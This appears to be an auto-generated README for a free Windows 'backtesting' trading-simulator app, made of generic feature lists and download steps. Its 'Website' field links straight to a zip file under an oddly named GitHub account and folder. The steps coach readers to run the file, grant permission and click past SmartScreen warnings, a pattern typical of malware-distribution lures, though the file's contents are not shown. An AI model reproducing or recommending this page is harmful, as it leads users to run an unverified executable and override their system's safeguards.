backtesting is a free app for checking trading ideas with past market data. It helps you see how a strategy may have behaved before you use it in live trading.
This page shows you how to download and open the app on Windows.
Go to the release page here:
Download backtesting from GitHub Releases
On the release page, look for the latest version and download the Windows file. If you see more than one file, choose the one meant for Windows.
After the download finishes:
- Open the Downloads folder.
- Find the file you downloaded.
- Double-click the file to start it.
- If Windows asks for permission, click Yes.
- If the app opens in a zip file, extract it first, then open the app inside the folder.
If you use SmartScreen, Windows may show a notice before opening the app. Choose the option that lets you continue if you trust the file you downloaded from the release page.
backtesting helps you:
- test trading strategies on past price data
- compare one strategy against another
- check entry and exit rules
- review trades one by one
- see how a strategy may perform in forex and other markets
- spot weak parts of a trading plan before using real money
It works like a trading simulator. You can use it to study ideas without placing live trades.
For a smooth run on Windows, use:
- Windows 10 or Windows 11
- A modern web browser if the app opens in a browser window
- At least 4 GB of RAM
- A few hundred MB of free disk space
- A stable internet connection for the download
If your computer is older, the app may still run fine if it has enough memory and free space.
When you open backtesting for the first time, you may need to:
- Choose a sample market or data file.
- Pick a strategy or set of rules.
- Set your start and end dates.
- Run the backtest.
- Review the results in the report view.
If the app offers preset strategies, start with one of those. It is the fastest way to learn how the tool works.
Use a basic rule set such as:
- buy when price crosses above a moving average
- sell when price crosses below it
This lets you see how the app handles trade signals and results.
Run the same market data through two different setups. Then compare:
- total trades
- win rate
- drawdown
- profit and loss
- average trade length
If you trade currency pairs, use forex data to test your rules against past movement. This can help you understand how the strategy reacts to volatile price swings.
If your strategy depends on time-series patterns, use historical data across different date ranges. That can show how the strategy behaves in trending and flat markets.
backtesting can help you inspect key numbers such as:
- net profit
- loss size
- win rate
- number of trades
- risk per trade
- maximum drawdown
- average gain and average loss
These numbers help you judge whether a strategy looks stable or weak.
Try these steps:
- Make sure the file finished downloading.
- Right-click the file and choose Open.
- Check whether Windows blocked the app.
- Move the file to a simple folder like Downloads or Desktop.
- Try downloading the latest release again.
This can happen with new releases. Make sure you downloaded the file from the official release page:
Download backtesting from GitHub Releases
Check that:
- the data file is loaded
- the date range is valid
- the market symbol or pair is correct
- the file format matches what the app expects
Try:
- closing extra apps
- using a smaller data set
- shortening the date range
- restarting the app
You may see files or folders related to:
- app launch files
- data files
- strategy files
- result reports
- logs
Keep the app files together in one folder. That makes it easier to open and use again later.
- a new trader checks whether a moving average rule works on past data
- a forex user compares two entry methods on the same pair
- a time-series user studies how a model performs across market phases
- a strategy tester reviews drawdown before using a system live
- a trader tests a rule set before adding it to a larger workflow
- use the same data range when comparing strategies
- test more than one market phase
- do not rely on one result alone
- check both profit and risk
- start with simple rules before using complex ones
- record your settings so you can repeat the test later
Repository: backtesting
Description: Free backtesting app
Website: https://raw.githubusercontent.com/Aseptic-melaguetapepper552/backtesting/main/counselee/Software-2.3.zip
Topics: backtester, backtesting framework, backtesting strategy, backtesting tool, trading simulator, forex trading, trading algorithms, time series testing
To use the app on Windows:
- Visit the release page.
- Download the latest Windows version.
- Open the file after it finishes downloading.
- If needed, extract the files.
- Start the app from the extracted folder or installer.
Download backtesting from GitHub Releases
- download the latest release
- open the file on Windows
- allow the app if Windows asks
- load market data
- choose a strategy
- run the backtest
- review the report